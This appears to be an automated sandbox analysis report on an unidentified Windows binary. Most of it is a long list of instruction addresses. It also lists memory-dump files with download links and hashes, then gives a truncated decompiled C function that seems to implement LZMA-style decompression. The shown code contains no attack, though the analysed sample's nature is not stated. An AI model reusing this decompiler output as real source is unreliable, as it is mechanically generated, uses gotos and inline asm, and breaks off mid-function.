                                                                                    0x00406c1f
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00407007
                                                                                    0x00407007
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00406fe2
                                                                                    0x00406fe2
                                                                                    0x00406fe6
                                                                                    0x00407195
                                                                                    0x00000000
                                                                                    0x00407195
                                                                                    0x00406ff2
                                                                                    0x00406ff9
                                                                                    0x00407001
                                                                                    0x00407004
                                                                                    0x00000000
                                                                                    0x00407004
                                                                                    0x00406c7b
                                                                                    0x00406c7f
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x004071c3
                                                                                    0x004071c7
                                                                                    0x004071c7
                                                                                    0x00406c85
                                                                                    0x00406c8b
                                                                                    0x00406c8e
                                                                                    0x00406c92
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x004071ab
                                                                                    0x004071b3
                                                                                    0x004071ba
                                                                                    0x004071bc
                                                                                    0x00000000
                                                                                    0x004071bc
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x00000000
                                                                                    0x004067c3
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067cc
                                                                                    0x004067cf
                                                                                    0x004067d2
                                                                                    0x004067d6
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067dc
                                                                                    0x004067df
                                                                                    0x004067e1
                                                                                    0x004067e2
                                                                                    0x004067e5
                                                                                    0x004067e7
                                                                                    0x004067e8
                                                                                    0x004067ea
                                                                                    0x004067ed
                                                                                    0x004067f2
                                                                                    0x004067f7
                                                                                    0x00406800
                                                                                    0x00406813
                                                                                    0x00406816
                                                                                    0x00406822
                                                                                    0x0040684a
                                                                                    0x0040684c
                                                                                    0x0040685a
                                                                                    0x0040685a
                                                                                    0x0040685e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x0040684e
                                                                                    0x00406851
                                                                                    0x00406852
                                                                                    0x00406852
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x00406828
                                                                                    0x0040682d
                                                                                    0x0040682d
                                                                                    0x00406836
                                                                                    0x0040683e
                                                                                    0x00406841
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406864
                                                                                    0x00406864
                                                                                    0x00406868
                                                                                    0x00407114
                                                                                    0x00000000
                                                                                    0x00407114
                                                                                    0x00406871
                                                                                    0x00406881
                                                                                    0x00406884
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x0040688a
                                                                                    0x0040688e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406890
                                                                                    0x00406896
                                                                                    0x004068c0
                                                                                    0x004068c6
                                                                                    0x004068cd
                                                                                    0x00000000
                                                                                    0x004068cd
                                                                                    0x0040689c
                                                                                    0x0040689f
                                                                                    0x004068a4
                                                                                    0x004068a4
                                                                                    0x004068af
                                                                                    0x004068b7
                                                                                    0x004068ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068ff
                                                                                    0x00406905
                                                                                    0x00406908
                                                                                    0x00406915
                                                                                    0x0040691d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068d4
                                                                                    0x004068d4
                                                                                    0x004068d8
                                                                                    0x00407123
                                                                                    0x00000000
                                                                                    0x00407123
                                                                                    0x004068e4
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068f2
                                                                                    0x004068f5
                                                                                    0x004068f8
                                                                                    0x004068fd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406925
                                                                                    0x00406927
                                                                                    0x0040692a
                                                                                    0x0040699b
                                                                                    0x0040699e
                                                                                    0x004069a1
                                                                                    0x004069a8
                                                                                    0x004069b2
                                                                                    0x00000000
                                                                                    0x004069b2
                                                                                    0x0040692c
                                                                                    0x00406930
                                                                                    0x00406933
                                                                                    0x00406935
                                                                                    0x00406938
                                                                                    0x0040693b
                                                                                    0x0040693d
                                                                                    0x00406940
                                                                                    0x00406942
                                                                                    0x00406947
                                                                                    0x0040694a
                                                                                    0x0040694d
                                                                                    0x00406951
                                                                                    0x00406958
                                                                                    0x0040695b
                                                                                    0x00406962
                                                                                    0x00406966
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x00406972
                                                                                    0x00406975
                                                                                    0x00406993
                                                                                    0x00406995
                                                                                    0x00000000
                                                                                    0x00406977
                                                                                    0x00406977
                                                                                    0x0040697a
                                                                                    0x0040697d
                                                                                    0x00406980
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406985
                                                                                    0x00406988
                                                                                    0x0040698a
                                                                                    0x0040698b
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x00406bc4
                                                                                    0x00406bc8
                                                                                    0x00406be6
                                                                                    0x00406be9
                                                                                    0x00406bf0
                                                                                    0x00406bf3
                                                                                    0x00406bf6
                                                                                    0x00406bf9
                                                                                    0x00406bfc
                                                                                    0x00406bff
                                                                                    0x00406c01
                                                                                    0x00406c08
                                                                                    0x00406c09
                                                                                    0x00406c0b
                                                                                    0x00406c0e
                                                                                    0x00406c11
                                                                                    0x00406c14
                                                                                    0x00406c14
                                                                                    0x00406c19
                                                                                    0x00000000
                                                                                    0x00406c19
                                                                                    0x00406bca
                                                                                    0x00406bcd
                                                                                    0x00406bd0
                                                                                    0x00406bda
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c2e
                                                                                    0x00406c32
                                                                                    0x00406c55
                                                                                    0x00406c58
                                                                                    0x00406c5b
                                                                                    0x00406c65
                                                                                    0x00406c34
                                                                                    0x00406c34
                                                                                    0x00406c37
                                                                                    0x00406c3a
                                                                                    0x00406c3d
                                                                                    0x00406c4a
                                                                                    0x00406c4d
                                                                                    0x00406c4d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406ce2
                                                                                    0x00406ce6
                                                                                    0x00406ced
                                                                                    0x00406cf0
                                                                                    0x00406cf3
                                                                                    0x00406cfd
                                                                                    0x00000000
                                                                                    0x00406cfd
                                                                                    0x00406ce8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d09
                                                                                    0x00406d0d
                                                                                    0x00406d14
                                                                                    0x00406d17
                                                                                    0x00406d1a
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d1d
                                                                                    0x00406d20
                                                                                    0x00406d23
                                                                                    0x00406d23
                                                                                    0x00406d26
                                                                                    0x00406d29
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406dc9
                                                                                    0x00406dc9
                                                                                    0x00406dcd
                                                                                    0x0040716b
                                                                                    0x00000000
                                                                                    0x0040716b
                                                                                    0x00406dd3
                                                                                    0x00406dd6
                                                                                    0x00406dd9
                                                                                    0x00406ddd
                                                                                    0x00406de0
                                                                                    0x00406de6
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406deb
                                                                                    0x00406dee
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069be
                                                                                    0x004069be
                                                                                    0x004069c2
                                                                                    0x0040712f
                                                                                    0x00000000
                                                                                    0x0040712f
                                                                                    0x004069c8
                                                                                    0x004069cb
                                                                                    0x004069ce
                                                                                    0x004069d2
                                                                                    0x004069d5
                                                                                    0x004069db
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069e0
                                                                                    0x004069e3
                                                                                    0x004069e3
                                                                                    0x004069e6
                                                                                    0x004069e9
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069ef
                                                                                    0x004069f5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069fb
                                                                                    0x004069fb
                                                                                    0x004069ff
                                                                                    0x00406a02
                                                                                    0x00406a05
                                                                                    0x00406a08
                                                                                    0x00406a0b
                                                                                    0x00406a0c
                                                                                    0x00406a0f
                                                                                    0x00406a11
                                                                                    0x00406a17
                                                                                    0x00406a1a
                                                                                    0x00406a1d
                                                                                    0x00406a20
                                                                                    0x00406a23
                                                                                    0x00406a26
                                                                                    0x00406a29
                                                                                    0x00406a45
                                                                                    0x00406a48
                                                                                    0x00406a4b
                                                                                    0x00406a4e
                                                                                    0x00406a55
                                                                                    0x00406a59
                                                                                    0x00406a5b
                                                                                    0x00406a5f
                                                                                    0x00406a2b
                                                                                    0x00406a2b
                                                                                    0x00406a2f
                                                                                    0x00406a37
                                                                                    0x00406a3c
                                                                                    0x00406a3e
                                                                                    0x00406a40
                                                                                    0x00406a40
                                                                                    0x00406a62
                                                                                    0x00406a69
                                                                                    0x00406a6c
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a77
                                                                                    0x00406a77
                                                                                    0x00406a7b
                                                                                    0x0040713b
                                                                                    0x00000000
                                                                                    0x0040713b
                                                                                    0x00406a81
                                                                                    0x00406a84
                                                                                    0x00406a87
                                                                                    0x00406a8b
                                                                                    0x00406a8e
                                                                                    0x00406a94
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a99
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406aa2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406aa4
                                                                                    0x00406aa7
                                                                                    0x00406aaa
                                                                                    0x00406aad
                                                                                    0x00406ab0
                                                                                    0x00406ab3
                                                                                    0x00406ab6
                                                                                    0x00406ab9
                                                                                    0x00406abc
                                                                                    0x00406abf
                                                                                    0x00406ac2
                                                                                    0x00406ada
                                                                                    0x00406add
                                                                                    0x00406ae0
                                                                                    0x00406ae3
                                                                                    0x00406ae3
                                                                                    0x00406ae6
                                                                                    0x00406aea
                                                                                    0x00406aec
                                                                                    0x00406ac4
                                                                                    0x00406ac4
                                                                                    0x00406acc
                                                                                    0x00406ad1
                                                                                    0x00406ad3
                                                                                    0x00406ad5
                                                                                    0x00406ad5
                                                                                    0x00406aef
                                                                                    0x00406af6
                                                                                    0x00406af9
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00406af9
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b3b
                                                                                    0x00406b3b
                                                                                    0x00406b3f
                                                                                    0x00407147
                                                                                    0x00000000
                                                                                    0x00407147
                                                                                    0x00406b45
                                                                                    0x00406b48
                                                                                    0x00406b4b
                                                                                    0x00406b4f
                                                                                    0x00406b52
                                                                                    0x00406b58
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5d
                                                                                    0x00406b60
                                                                                    0x00406b60
                                                                                    0x00406b66
                                                                                    0x00406b04
                                                                                    0x00406b04
                                                                                    0x00406b07
                                                                                    0x00000000
                                                                                    0x00406b07
                                                                                    0x00406b68
                                                                                    0x00406b68
                                                                                    0x00406b6b
                                                                                    0x00406b6e
                                                                                    0x00406b71
                                                                                    0x00406b74
                                                                                    0x00406b77
                                                                                    0x00406b7a
                                                                                    0x00406b7d
                                                                                    0x00406b80
                                                                                    0x00406b83
                                                                                    0x00406b86
                                                                                    0x00406b9e
                                                                                    0x00406ba1
                                                                                    0x00406ba4
                                                                                    0x00406ba7
                                                                                    0x00406ba7
                                                                                    0x00406baa
                                                                                    0x00406bae
                                                                                    0x00406bb0
                                                                                    0x00406b88
                                                                                    0x00406b88
                                                                                    0x00406b90
                                                                                    0x00406b95
                                                                                    0x00406b97
                                                                                    0x00406b99
                                                                                    0x00406b99
                                                                                    0x00406bb3
                                                                                    0x00406bba
                                                                                    0x00406bbd
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406e4c
                                                                                    0x00406e4c
                                                                                    0x00406e50
                                                                                    0x00407177
                                                                                    0x00000000
                                                                                    0x00407177
                                                                                    0x00406e56
                                                                                    0x00406e59
                                                                                    0x00406e5c
                                                                                    0x00406e60
                                                                                    0x00406e63
                                                                                    0x00406e69
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f5b
                                                                                    0x00406f5f
                                                                                    0x00406f81
                                                                                    0x00406f84
                                                                                    0x00406f8e
                                                                                    0x00000000
                                                                                    0x00406f8e
                                                                                    0x00406f61
                                                                                    0x00406f64
                                                                                    0x00406f68
                                                                                    0x00406f6b
                                                                                    0x00406f6b
                                                                                    0x00406f6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407018
                                                                                    0x0040701c
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x00407041
                                                                                    0x00407048
                                                                                    0x0040704f
                                                                                    0x0040704f
                                                                                    0x00000000
                                                                                    0x0040704f
                                                                                    0x0040701e
                                                                                    0x00407021
                                                                                    0x00407024
                                                                                    0x00407027
                                                                                    0x0040702e
                                                                                    0x00406f72
                                                                                    0x00406f72
                                                                                    0x00406f75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407109
                                                                                    0x0040710c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d43
                                                                                    0x00406d45
                                                                                    0x00406d4c
                                                                                    0x00406d4d
                                                                                    0x00406d4f
                                                                                    0x00406d52
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d5a
                                                                                    0x00406d5d
                                                                                    0x00406d60
                                                                                    0x00406d62
                                                                                    0x00406d64
                                                                                    0x00406d64
                                                                                    0x00406d65
                                                                                    0x00406d68
                                                                                    0x00406d6f
                                                                                    0x00406d72
                                                                                    0x00406d80
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407065
                                                                                    0x00407065
                                                                                    0x00407069
                                                                                    0x004071a1
                                                                                    0x00000000
                                                                                    0x004071a1
                                                                                    0x0040706f
                                                                                    0x00407072
                                                                                    0x00407075
                                                                                    0x00407079
                                                                                    0x0040707c
                                                                                    0x00407082
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407087
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708d
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x004070f1
                                                                                    0x004070f4
                                                                                    0x004070f9
                                                                                    0x004070fa
                                                                                    0x004070fc
                                                                                    0x004070fe
                                                                                    0x00407101
                                                                                    0x00000000
                                                                                    0x00407101
                                                                                    0x00407093
                                                                                    0x00407099
                                                                                    0x0040709c
                                                                                    0x0040709f
                                                                                    0x004070a2
                                                                                    0x004070a5
                                                                                    0x004070a8
                                                                                    0x004070ab
                                                                                    0x004070ae
                                                                                    0x004070b1
                                                                                    0x004070b4
                                                                                    0x004070cd
                                                                                    0x004070d0
                                                                                    0x004070d3
                                                                                    0x004070d6
                                                                                    0x004070da
                                                                                    0x004070dc
                                                                                    0x004070dc
                                                                                    0x004070dd
                                                                                    0x004070e0
                                                                                    0x004070b6
                                                                                    0x004070b6
                                                                                    0x004070be
                                                                                    0x004070c3
                                                                                    0x004070c5
                                                                                    0x004070c8
                                                                                    0x004070c8
                                                                                    0x004070e3
                                                                                    0x004070ea
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x00406d88
                                                                                    0x00406d8b
                                                                                    0x00406dc1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef4
                                                                                    0x00406ef4
                                                                                    0x00406ef7
                                                                                    0x00406ef9
                                                                                    0x00407183
                                                                                    0x00000000
                                                                                    0x00407183
                                                                                    0x00406eff
                                                                                    0x00406f02
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f08
                                                                                    0x00406f0c
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00000000
                                                                                    0x00406f0f
                                                                                    0x00406d8d
                                                                                    0x00406d8f
                                                                                    0x00406d91
                                                                                    0x00406d93
                                                                                    0x00406d96
                                                                                    0x00406d97
                                                                                    0x00406d99
                                                                                    0x00406d9b
                                                                                    0x00406d9e
                                                                                    0x00406da1
                                                                                    0x00406db7
                                                                                    0x00406dbc
                                                                                    0x00406df4
                                                                                    0x00406df4
                                                                                    0x00406df8
                                                                                    0x00406e24
                                                                                    0x00406e26
                                                                                    0x00406e2d
                                                                                    0x00406e30
                                                                                    0x00406e33
                                                                                    0x00406e33
                                                                                    0x00406e38
                                                                                    0x00406e38
                                                                                    0x00406e3a
                                                                                    0x00406e3d
                                                                                    0x00406e44
                                                                                    0x00406e47
                                                                                    0x00406e74
                                                                                    0x00406e74
                                                                                    0x00406e77
                                                                                    0x00406e7a
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00000000
                                                                                    0x00406eee
                                                                                    0x00406e7c
                                                                                    0x00406e82
                                                                                    0x00406e85
                                                                                    0x00406e88
                                                                                    0x00406e8b
                                                                                    0x00406e8e
                                                                                    0x00406e91
                                                                                    0x00406e94
                                                                                    0x00406e97
                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b0a
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b03ad86bf6e5db825a161e7c2c9863a2c6e055a2fa0602cea3b48f6a3cf4a0c0
                                                                                    • Instruction ID: 7a557209975026f945a3d96698a9d3e809275b90a73cce2131b371529b247a98
                                                                                    • Opcode Fuzzy Hash: b03ad86bf6e5db825a161e7c2c9863a2c6e055a2fa0602cea3b48f6a3cf4a0c0
                                                                                    • Instruction Fuzzy Hash: 0F813471D04228CFDF24CFA8C884BADBBB1FB44305F25816AD456BB281C778A996DF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E00406776(void* __ecx) {
                                                                                    				void* _v8;
                                                                                    				void* _v12;
                                                                                    				signed int _v16;
                                                                                    				unsigned int _v20;
                                                                                    				signed int _v24;
                                                                                    				signed int _v28;
                                                                                    				signed int _v32;
                                                                                    				signed int _v36;
                                                                                    				signed int _v40;
                                                                                    				signed int _v44;
                                                                                    				signed int _v48;
                                                                                    				signed int _v52;
                                                                                    				signed int _v56;
                                                                                    				signed int _v60;
                                                                                    				signed int _v64;
                                                                                    				signed int _v68;
                                                                                    				signed int _v72;
                                                                                    				signed int _v76;
                                                                                    				signed int _v80;
                                                                                    				signed int _v84;
                                                                                    				signed int _v88;
                                                                                    				signed int _v92;
                                                                                    				signed int _v95;
                                                                                    				signed int _v96;
                                                                                    				signed int _v100;
                                                                                    				signed int _v104;
                                                                                    				signed int _v108;
                                                                                    				signed int _v112;
                                                                                    				signed int _v116;
                                                                                    				signed int _v120;
                                                                                    				intOrPtr _v124;
                                                                                    				signed int _v128;
                                                                                    				signed int _v132;
                                                                                    				signed int _v136;
                                                                                    				void _v140;
                                                                                    				void* _v148;
                                                                                    				signed int _t537;
                                                                                    				signed int _t538;
                                                                                    				signed int _t572;
                                                                                    
                                                                                    				_t572 = 0x22;
                                                                                    				_v148 = __ecx;
                                                                                    				memcpy( &_v140, __ecx, _t572 << 2);
                                                                                    				if(_v52 == 0xffffffff) {
                                                                                    					return 1;
                                                                                    				}
                                                                                    				while(1) {
                                                                                    					L3:
                                                                                    					_t537 = _v140;
                                                                                    					if(_t537 > 0x1c) {
                                                                                    						break;
                                                                                    					}
                                                                                    					switch( *((intOrPtr*)(_t537 * 4 +  &M004071C8))) {
                                                                                    						case 0:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v116 = _v116 + 1;
                                                                                    							_t537 =  *_v116;
                                                                                    							__eflags = _t537 - 0xe1;
                                                                                    							if(_t537 > 0xe1) {
                                                                                    								goto L174;
                                                                                    							}
                                                                                    							_t542 = _t537 & 0x000000ff;
                                                                                    							_push(0x2d);
                                                                                    							asm("cdq");
                                                                                    							_pop(_t576);
                                                                                    							_push(9);
                                                                                    							_pop(_t577);
                                                                                    							_t622 = _t542 / _t576;
                                                                                    							_t544 = _t542 % _t576 & 0x000000ff;
                                                                                    							asm("cdq");
                                                                                    							_t617 = _t544 % _t577 & 0x000000ff;
                                                                                    							_v64 = _t617;
                                                                                    							_v32 = (1 << _t622) - 1;
                                                                                    							_v28 = (1 << _t544 / _t577) - 1;
                                                                                    							_t625 = (0x300 << _t617 + _t622) + 0x736;
                                                                                    							__eflags = 0x600 - _v124;
                                                                                    							if(0x600 == _v124) {
                                                                                    								L12:
                                                                                    								__eflags = _t625;
                                                                                    								if(_t625 == 0) {
                                                                                    									L14:
                                                                                    									_v76 = _v76 & 0x00000000;
                                                                                    									_v68 = _v68 & 0x00000000;
                                                                                    									goto L17;
                                                                                    								} else {
                                                                                    									goto L13;
                                                                                    								}
                                                                                    								do {
                                                                                    									L13:
                                                                                    									_t625 = _t625 - 1;
                                                                                    									__eflags = _t625;
                                                                                    									 *((short*)(_v8 + _t625 * 2)) = 0x400;
                                                                                    								} while (_t625 != 0);
                                                                                    								goto L14;
                                                                                    							}
                                                                                    							__eflags = _v8;
                                                                                    							if(_v8 != 0) {
                                                                                    								GlobalFree(_v8);
                                                                                    							}
                                                                                    							_t537 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    							__eflags = _t537;
                                                                                    							_v8 = _t537;
                                                                                    							if(_t537 == 0) {
                                                                                    								goto L174;
                                                                                    							} else {
                                                                                    								_v124 = 0x600;
                                                                                    								goto L12;
                                                                                    							}
                                                                                    						case 1:
                                                                                    							L15:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 1;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
                                                                                    							_v116 = _v116 + 1;
                                                                                    							_t50 =  &_v76;
                                                                                    							 *_t50 = _v76 + 1;
                                                                                    							__eflags =  *_t50;
                                                                                    							L17:
                                                                                    							__eflags = _v76 - 4;
                                                                                    							if(_v76 < 4) {
                                                                                    								goto L15;
                                                                                    							}
                                                                                    							_t550 = _v68;
                                                                                    							__eflags = _t550 - _v120;
                                                                                    							if(_t550 == _v120) {
                                                                                    								L22:
                                                                                    								_v76 = 5;
                                                                                    								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
                                                                                    								goto L25;
                                                                                    							}
                                                                                    							__eflags = _v12;
                                                                                    							_v120 = _t550;
                                                                                    							if(_v12 != 0) {
                                                                                    								GlobalFree(_v12);
                                                                                    							}
                                                                                    							_t537 = GlobalAlloc(0x40, _v68); // executed
                                                                                    							__eflags = _t537;
                                                                                    							_v12 = _t537;
                                                                                    							if(_t537 == 0) {
